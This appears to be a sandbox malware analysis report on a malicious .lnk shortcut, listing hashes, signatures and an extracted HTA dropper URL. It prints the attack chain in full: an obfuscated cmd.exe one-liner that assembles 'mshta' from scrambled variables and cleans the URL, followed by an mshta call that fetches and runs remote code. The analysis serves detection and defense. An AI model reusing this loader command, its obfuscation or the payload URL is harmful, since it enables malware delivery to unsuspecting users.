Analysis
- max time kernel
148s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:21
Static task
static1
Behavioral task
behavioral1
Sample
DOC-O9WNB0.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-O9WNB0.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-O9WNB0.lnk
- Size 2KB
- Sample260804-j9gcbaveld
- SHA256 79554bed4aeb3e574bc86d241bf9246caaf10ddf03c7a192f2799d42c2d5c3db
- MD5 11c0d5784951bfab95f126ba9ab1e647
- SHA1 a5b0e956a4e3f211aef1ae9821cad9cd4d92a5dd
- SHA512 118036ad20478318b9a0f7ad641996a0dc2b3544bc611d1740e706f737d03ffb2889eb56ed89166308f62193aee00738b7fa29591c968607a39fadc9c44d775d
- TLSH T1964108803AED05D8F2BB9E76EDFE1750497BF8615DA0C64D0C51820D5421F02E576BA7
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4060 cmd.exe 2732 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4060 wrote to memory of 2732 4060 cmd.exe 90 PID 2732 wrote to memory of 4364 2732 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-O9WNB0.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4060 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set xkQ=infizntrvdtvinf&&set lc=loggthzjgmvzegvlog&&set jL=datyfbqovmwidat&&set dtd=bakkgcetqpsebak&&set dXNFn=loglrjaoggnygvrfdakclog&&set RFo=cachehzwcntcache&&set tDCl=fxymst&&set dWBg=g5htu&&set CJA=mwrar0g&&set YKj=l9staz&&set hee=6crtt&&set uN=cfgjzickthmkdiexetcfg&&set MDOy=h@ttps://m@a-@p@dff@[email protected]/h/es@t@agi@[email protected]@p@?r@=3@9146@9FB@5D82D@B&&start /b !tDCl:~3,2!!dWBg:~2,2!!CJA:~3,1! !MDOy:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2732 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4364
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